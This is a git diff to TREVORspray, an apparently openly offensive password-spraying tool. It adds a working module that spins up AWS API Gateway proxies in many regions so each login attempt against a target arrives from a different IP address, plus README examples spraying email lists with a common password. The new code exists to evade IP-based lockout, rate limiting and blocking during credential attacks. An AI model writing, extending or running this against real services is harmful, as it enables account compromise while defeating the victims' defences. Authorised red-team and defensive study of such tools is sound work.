diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d0ee3b1 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +venv/ +__pycache__/ +*.pyc diff --git a/README.md b/README.md index ebbb708..ea22b49 100644 --- a/README.md +++ b/README.md @@ -28,6 +28,7 @@ See the accompanying [**Blog Post**](blogpost.md) for a fun rant and some cool d - Tells you the status of each account: if it exists, is locked, has MFA enabled, etc. - Automatic cancel/resume (remembers already-tried user/pass combos in `~/.trevorspray/tried_logins.txt`) - Round-robin proxy through multiple IPs with `--ssh` or `--subnet` +- **AWS API Gateway IP rotation** with `--aws` (each request gets a different source IP) - Automatic infinite reconnect/retry if a proxy goes down (or if you lose internet) - Spoofs `User-Agent` and other signatures to look like legitimate auth traffic - Comprehensive logging @@ -93,6 +94,28 @@ trevorspray -u bob@evilcorp.com -p 'Welcome123' --delay 5 trevorspray -u emails.txt -p 'Welcome123' --ssh root@1.2.3.4 root@4.3.2.1 ``` +## Example: Spray with AWS IP rotation (different source IP per request) +```bash +# install with AWS support +pip install trevorspray[aws] + +# spray using AWS API Gateway IP rotation (will prompt for AWS keys on first run) +trevorspray -u emails.txt -p 'Welcome123' --aws + +# specify AWS credentials directly +trevorspray -u emails.txt -p 'Welcome123' --aws --aws-access-key AKIA... --aws-secret-key ... + +# use a specific AWS profile +trevorspray -u emails.txt -p 'Welcome123' --aws --aws-profile myprofile + +# limit to specific AWS regions +trevorspray -u emails.txt -p 'Welcome123' --aws --aws-regions us-east-1 eu-west-1 ap-southeast-1 + +# clear saved AWS credentials +trevorspray --aws-clear-creds +``` +> **Note:** Requires an AWS account with API Gateway permissions. API Gateways are created automatically across multiple regions and cleaned up on exit. Credentials are saved to `~/.trevorspray/aws_config.ini` for future use. + ## Example: Find valid usernames without OSINT >:D ```bash # clone wordsmith dataset @@ -195,6 +218,20 @@ Subnet Proxy: --subnet SUBNET Subnet to send packets from --interface INTERFACE Interface to send packets on + +AWS IP Rotation: + Rotate source IP using AWS API Gateway endpoints across multiple regions + + --aws Enable IP rotation through AWS API Gateway + --aws-regions REGION [REGION ...] + AWS regions to create API Gateways in (default: all available regions) + --aws-profile AWS_PROFILE + AWS profile name to use from ~/.aws/credentials + --aws-access-key AWS_ACCESS_KEY + AWS access key ID (alternative to --aws-profile) + --aws-secret-key AWS_SECRET_KEY + AWS secret access key (alternative to --aws-profile) + --aws-clear-creds Delete saved AWS credentials from ~/.trevorspray/aws_config.ini and exit ``` ## Writing your own Spray Modules diff --git a/pyproject.toml b/pyproject.toml index 65c0702..c7e24d7 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -17,6 +17,10 @@ trevorproxy = "^1.0.8" tldextract = "^5.1.3" beautifulsoup4 = "^4.12.3" mechanicalsoup = "^1.3.0" +boto3 = {version = "^1.28.0", optional = true} + +[tool.poetry.extras] +aws = ["boto3"] [tool.poetry.scripts] trevorspray = 'trevorspray.cli:main' diff --git a/trevorspray/cli.py b/trevorspray/cli.py index c37d93a..7dbabb6 100755 --- a/trevorspray/cli.py +++ b/trevorspray/cli.py @@ -200,16 +200,71 @@ def main(): subnet_group.add_argument("--subnet", help="Subnet to send packets from") subnet_group.add_argument("--interface", help="Interface to send packets on") + aws_group = parser.add_argument_group( + title="AWS IP Rotation", + description="Rotate source IP using AWS API Gateway endpoints across multiple regions", + ) + aws_group.add_argument( + "--aws", + action="store_true", + help="Enable IP rotation through AWS API Gateway", + ) + aws_group.add_argument( + "--aws-regions", + nargs="+", + default=None, + metavar="REGION", + help="AWS regions to create API Gateways in (default: all available regions)", + ) + aws_group.add_argument( + "--aws-profile", + default=None, + help="AWS profile name to use from ~/.aws/credentials", + ) + aws_group.add_argument( + "--aws-access-key", + default=None, + help="AWS access key ID (alternative to --aws-profile)", + ) + aws_group.add_argument( + "--aws-secret-key", + default=None, + help="AWS secret access key (alternative to --aws-profile)", + ) + aws_group.add_argument( + "--aws-clear-creds", + action="store_true", + help="Delete saved AWS credentials from ~/.trevorspray/aws_config.ini and exit", + ) + try: log.info(f'Command: {" ".join(sys.argv)}') options = parser.parse_args() + # Handle --aws-clear-creds + if options.aws_clear_creds: + from .lib.aws_gateway import AWS_CONFIG_FILE + if AWS_CONFIG_FILE.exists(): + AWS_CONFIG_FILE.unlink() + log.info(f"Deleted saved AWS credentials from {AWS_CONFIG_FILE}") + else: + log.info(f"No saved AWS credentials found at {AWS_CONFIG_FILE}") + sys.exit(0) + conflicting_options = [options.subnet, options.ssh, options.proxy] + if options.aws: + conflicting_options.append("aws") if conflicting_options.count(None) + conflicting_options.count([]) < 2: - log.error("Cannot specify --ssh, --subnet, or --proxy together") + log.error("Cannot specify --ssh, --subnet, --proxy, or --aws together") sys.exit(1) + if options.aws: + if options.aws_regions: + log.info(f"AWS IP rotation enabled in {len(options.aws_regions)} regions") + else: + log.info("AWS IP rotation enabled in all available regions") + if options.ssh and options.threads: log.warning( "When --ssh is specified, one thread is spawned per SSH session. Ignoring --threads" diff --git a/trevorspray/lib/aws_gateway.py b/trevorspray/lib/aws_gateway.py new file mode 100644 index 0000000..582246e --- /dev/null +++ b/trevorspray/lib/aws_gateway.py @@ -0,0 +1,360 @@ +import logging +import random +import threading +import configparser +from time import sleep +from pathlib import Path +from contextlib import suppress +from urllib.parse import urlparse + +log = logging.getLogger("trevorspray.aws_gateway") + +AWS_CONFIG_FILE = Path.home() / ".trevorspray" / "aws_config.ini" + +# All AWS regions that support API Gateway +AWS_REGIONS = [ + "us-east-1", + "us-east-2", + "us-west-1", + "us-west-2", + "eu-west-1", + "eu-west-2", + "eu-west-3", + "eu-central-1", + "eu-north-1", + "ap-southeast-1", + "ap-southeast-2", + "ap-northeast-1", + "ap-northeast-2", + "ap-south-1", + "sa-east-1", + "ca-central-1", +] + + +def load_aws_config(): + """Load AWS credentials from ~/.trevorspray/aws_config.ini""" + config = configparser.ConfigParser() + if AWS_CONFIG_FILE.exists(): + config.read(str(AWS_CONFIG_FILE)) + if "aws" in config: + return dict(config["aws"]) + return {} + + +def save_aws_config(access_key, secret_key, profile=None): + """Save AWS credentials to ~/.trevorspray/aws_config.ini""" + config = configparser.ConfigParser() + config["aws"] = {} + if access_key: + config["aws"]["access_key"] = access_key + if secret_key: + config["aws"]["secret_key"] = secret_key + if profile: + config["aws"]["profile"] = profile + + AWS_CONFIG_FILE.parent.mkdir(parents=True, exist_ok=True) + with open(str(AWS_CONFIG_FILE), "w") as f: + config.write(f) + # restrict permissions to owner only + AWS_CONFIG_FILE.chmod(0o600) + log.info(f"AWS credentials saved to {AWS_CONFIG_FILE}") + + +def prompt_aws_credentials(): + """Prompt user for AWS credentials interactively.""" + print() + log.info("AWS credentials required for API Gateway IP rotation") + log.info(f"Credentials will be saved to {AWS_CONFIG_FILE} for future use") + print() + + access_key = input("[USER] AWS Access Key ID: ").strip() + secret_key = input("[USER] AWS Secret Access Key: ").strip() + + if not access_key or not secret_key: + return None, None + + # Ask if user wants to save + save = input("\n[USER] Save credentials to config file for future use? [Y/n]: ").strip().lower() + if save != "n": + save_aws_config(access_key, secret_key) + + return access_key, secret_key + + +class AWSGatewayManager: + """ + Manages AWS API Gateway instances across multiple regions for IP rotation. + Each API Gateway acts as an HTTP proxy to the target URL, and each request + through an API Gateway endpoint gets a different source IP. + + Credentials are resolved in this order: + 1. Explicit --aws-access-key / --aws-secret-key CLI args + 2. --aws-profile CLI arg + 3. Saved config file (~/.trevorspray/aws_config.ini) + 4. Interactive prompt (asks user to enter keys) + 5. boto3 default chain (env vars, ~/.aws/credentials, IAM role) + """ + + def __init__(self, target_url, regions=None, profile=None, access_key=None, secret_key=None): + self.target_url = target_url + self.regions = regions or list(AWS_REGIONS) + self.profile = profile + self.access_key = access_key + self.secret_key = secret_key + + # Try loading from config file if no explicit credentials + if not self.profile and not (self.access_key and self.secret_key): + saved = load_aws_config() + if saved.get("access_key") and saved.get("secret_key"): + log.info(f"Loaded AWS credentials from {AWS_CONFIG_FILE}") + self.access_key = saved["access_key"] + self.secret_key = saved["secret_key"] + elif saved.get("profile"): + log.info(f"Loaded AWS profile '{saved['profile']}' from {AWS_CONFIG_FILE}") + self.profile = saved["profile"] + + # If still no credentials, prompt the user + if not self.profile and not (self.access_key and self.secret_key): + self.access_key, self.secret_key = prompt_aws_credentials() + if not self.access_key or not self.secret_key: + log.warning("No AWS credentials provided, falling back to boto3 default chain") + self.access_key = None + self.secret_key = None + + parsed = urlparse(target_url) + self.target_host = parsed.hostname + self.target_scheme = parsed.scheme or "https" + + self.gateways = [] # list of {"region": ..., "api_id": ..., "endpoint": ...} + self.lock = threading.Lock() + self._started = False + + def _get_client(self, service="apigateway", region=None): + try: + import boto3 + except ImportError: + raise ImportError( + "boto3 is required for AWS IP rotation. Install it with: pip install boto3" + ) + + kwargs = {"service_name": service} + if region: + kwargs["region_name"] = region + if self.profile: + session = boto3.Session(profile_name=self.profile) + return session.client(**kwargs) + elif self.access_key and self.secret_key: + kwargs["aws_access_key_id"] = self.access_key + kwargs["aws_secret_access_key"] = self.secret_key + return boto3.client(**kwargs) + else: + return boto3.client(**kwargs) + + def _validate_credentials(self): + """ + Validate AWS credentials using STS GetCallerIdentity before creating gateways. + Returns True if credentials are valid, raises RuntimeError otherwise. + """ + log.info("Validating AWS credentials...") + try: + sts = self._get_client(service="sts") + identity = sts.get_caller_identity() + account = identity.get("Account", "unknown") + arn = identity.get("Arn", "unknown") + log.info(f"AWS credentials valid - Account: {account}, Identity: {arn}") + return True + except Exception as e: + error_msg = str(e) + if "InvalidClientTokenId" in error_msg or "SignatureDoesNotMatch" in error_msg: + raise RuntimeError( + f"AWS credentials are invalid: {e}\n" + "Check your Access Key ID and Secret Access Key.\n" + "Use --aws-clear-creds to remove saved credentials." + ) + elif "ExpiredToken" in error_msg: + raise RuntimeError( + f"AWS credentials have expired: {e}\n" + "Please provide new credentials." + ) + else: + raise RuntimeError(f"Failed to validate AWS credentials: {e}") + + def start(self): + """Create API Gateways in all configured regions.""" + if self._started: + return + + # Validate credentials before doing anything + self._validate_credentials() + + log.info(f"Creating AWS API Gateways in {len(self.regions)} regions for IP rotation...") + log.info(f"Target: {self.target_url}") + + threads = [] + for region in self.regions: + t = threading.Thread(target=self._create_gateway, args=(region,), daemon=True) + threads.append(t) + t.start() + + for t in threads: + t.join(timeout=60) + + if not self.gateways: + raise RuntimeError( + "Failed to create any AWS API Gateways. Check your AWS credentials and permissions." + ) + + log.info(f"Successfully created {len(self.gateways)} API Gateway endpoints") + self._started = True + + def _create_gateway(self, region): + """Create a single API Gateway in the specified region.""" + try: + client = self._get_client(region=region) + + # Create REST API + api = client.create_rest_api( + name=f"trevorspray-{self.target_host}-{region}", + description="TREVORspray IP rotation proxy", + endpointConfiguration={"types": ["REGIONAL"]}, + ) + api_id = api["id"] + + # Get the root resource ID + resources = client.get_resources(restApiId=api_id) + root_id = None + for resource in resources["items"]: + if resource["path"] == "/": + root_id = resource["id"] + break + + if not root_id: + log.error(f"[{region}] Could not find root resource") + return + + # Create a greedy proxy resource {proxy+} + proxy_resource = client.create_resource( + restApiId=api_id, + parentId=root_id, + pathPart="{proxy+}", + ) + proxy_id = proxy_resource["id"] + + # Set up methods and integrations for both root and proxy resources + for resource_id, path_pattern in [(root_id, "/"), (proxy_id, "/{proxy}")]: + # Create ANY method + client.put_method( + restApiId=api_id, + resourceId=resource_id, + httpMethod="ANY", + authorizationType="NONE", + requestParameters={ + "method.request.path.proxy": True, + "method.request.header.X-My-X-Forwarded-For": True, + "method.request.header.X-Forwarded-For": True, + } if resource_id == proxy_id else { + "method.request.header.X-My-X-Forwarded-For": True, + "method.request.header.X-Forwarded-For": True, + }, + ) + + # Set up HTTP proxy integration + target_uri = f"{self.target_scheme}://{self.target_host}{path_pattern}" + + integration_params = { + "restApiId": api_id, + "resourceId": resource_id, + "httpMethod": "ANY", + "type": "HTTP_PROXY", + "integrationHttpMethod": "ANY", + "uri": target_uri, + "connectionType": "INTERNET", + "requestParameters": { + "integration.request.header.X-Forwarded-For": "method.request.header.X-My-X-Forwarded-For", + }, + } + + if resource_id == proxy_id: + integration_params["requestParameters"]["integration.request.path.proxy"] = "method.request.path.proxy" + + client.put_integration(**integration_params) + + # Deploy API to a stage + client.create_deployment( + restApiId=api_id, + stageName="proxy", + ) + + endpoint = f"https://{api_id}.execute-api.{region}.amazonaws.com/proxy" + + with self.lock: + self.gateways.append({ + "region": region, + "api_id": api_id, + "endpoint": endpoint, + }) + + log.verbose(f"[{region}] Created API Gateway: {endpoint}") + + except Exception as e: + log.warning(f"[{region}] Failed to create API Gateway: {e}") + + def get_proxy_url(self, original_url): + """ + Rewrite the original URL to go through a random API Gateway endpoint. + Returns the rewritten URL using a randomly selected gateway. + """ + if not self.gateways: + return original_url + + gateway = random.choice(self.gateways) + parsed = urlparse(original_url) + + # Reconstruct the path + query + path = parsed.path or "/" + if path.startswith("/"): + path = path[1:] + + proxy_url = f"{gateway['endpoint']}/{path}" + if parsed.query: + proxy_url += f"?{parsed.query}" + + return proxy_url + + def stop(self): + """Delete all created API Gateways.""" + if not self.gateways: + return + + log.info(f"Cleaning up {len(self.gateways)} AWS API Gateways...") + + threads = [] + for gw in list(self.gateways): + t = threading.Thread(target=self._delete_gateway, args=(gw,), daemon=True) + threads.append(t) + t.start() + + for t in threads: + t.join(timeout=30) + + self.gateways.clear() + self._started = False + log.info("AWS API Gateway cleanup complete") + + def _delete_gateway(self, gateway): + """Delete a single API Gateway.""" + try: + client = self._get_client(region=gateway["region"]) + client.delete_rest_api(restApiId=gateway["api_id"]) + log.verbose(f"[{gateway['region']}] Deleted API Gateway {gateway['api_id']}") + except Exception as e: + log.warning( + f"[{gateway['region']}] Failed to delete API Gateway {gateway['api_id']}: {e}" + ) + + def __len__(self): + return len(self.gateways) + + def __repr__(self): + return f"AWSGatewayManager({len(self.gateways)} gateways across {len(self.regions)} regions)" diff --git a/trevorspray/lib/proxy.py b/trevorspray/lib/proxy.py index c04a664..2b8f23e 100644 --- a/trevorspray/lib/proxy.py +++ b/trevorspray/lib/proxy.py @@ -48,6 +48,7 @@ def __init__(self, *args, **kwargs): self.proxy = None self.proxy_arg = None + self.aws_gateway = kwargs.pop("aws_gateway", None) if host == "": self.proxy = str(self.trevor.options.subnet) @@ -289,6 +290,16 @@ def check_cred(self, user, password, enumerate_users=False): "User-Agent" ] = f"{current_useragent} {random.randint(0,99999)}.{random.randint(0,99999)}" + # AWS API Gateway IP rotation: rewrite URL through a random gateway + if self.aws_gateway is not None: + original_url = prepared_request.url + prepared_request.url = self.aws_gateway.get_proxy_url(original_url) + # Remove Host header so requests lib sets it to the gateway host + prepared_request.headers.pop("Host", None) + log.debug( + f"AWS Gateway rewrite: {original_url} -> {prepared_request.url}" + ) + kwargs = { "timeout": self.trevor.options.timeout, "allow_redirects": False, diff --git a/trevorspray/lib/trevor.py b/trevorspray/lib/trevor.py index 8652a1e..bf222df 100644 --- a/trevorspray/lib/trevor.py +++ b/trevorspray/lib/trevor.py @@ -11,6 +11,7 @@ from .errors import TREVORSprayError from .discover import DomainDiscovery from .proxy import ProxyThread, SubnetThread +from .aws_gateway import AWSGatewayManager log = logging.getLogger("trevorspray.sprayer") @@ -39,6 +40,8 @@ def __init__(self, options): self._domain = None self.proxies = [] + self.aws_gateway_manager = None + if options.ssh: threads = options.ssh + ([] if options.no_current_ip else [None]) elif options.subnet: @@ -51,6 +54,17 @@ def __init__(self, options): self.subnet_proxy = SubnetThread(trevor=self, daemon=True) self.subnet_proxy.start() + # Initialize AWS API Gateway IP rotation + if getattr(options, "aws", False): + aws_regions = getattr(options, "aws_regions", None) + self.aws_gateway_manager = AWSGatewayManager( + target_url=options.url or "", + regions=aws_regions, + profile=getattr(options, "aws_profile", None), + access_key=getattr(options, "aws_access_key", None), + secret_key=getattr(options, "aws_secret_key", None), + ) + initial_delay_increment = (options.delay + (options.jitter / 2)) / max( 1, len(options.ssh) ) @@ -59,6 +73,7 @@ def __init__(self, options): trevor=self, host=ssh_host, proxy_port=options.base_port + i, + aws_gateway=self.aws_gateway_manager, daemon=True, ) if options.ssh or options.threads: @@ -107,6 +122,17 @@ def __init__(self, options): def go(self): try: + # Start AWS API Gateways before spraying + if self.aws_gateway_manager is not None: + # Set target URL from sprayer if not already set via --url + if not self.aws_gateway_manager.target_url and self.sprayer.url: + from urllib.parse import urlparse + self.aws_gateway_manager.target_url = self.sprayer.url + parsed = urlparse(self.sprayer.url) + self.aws_gateway_manager.target_host = parsed.hostname + self.aws_gateway_manager.target_scheme = parsed.scheme or "https" + self.aws_gateway_manager.start() + self.start() if self.options.recon: @@ -218,6 +244,10 @@ def stop(self): proxy.stop() with suppress(Exception): self.subnet_proxy.stop() + # cleanup AWS API Gateways + if self.aws_gateway_manager is not None: + with suppress(Exception): + self.aws_gateway_manager.stop() # write valid users util.update_file(self.existent_users_file, self.existent_users) log.info(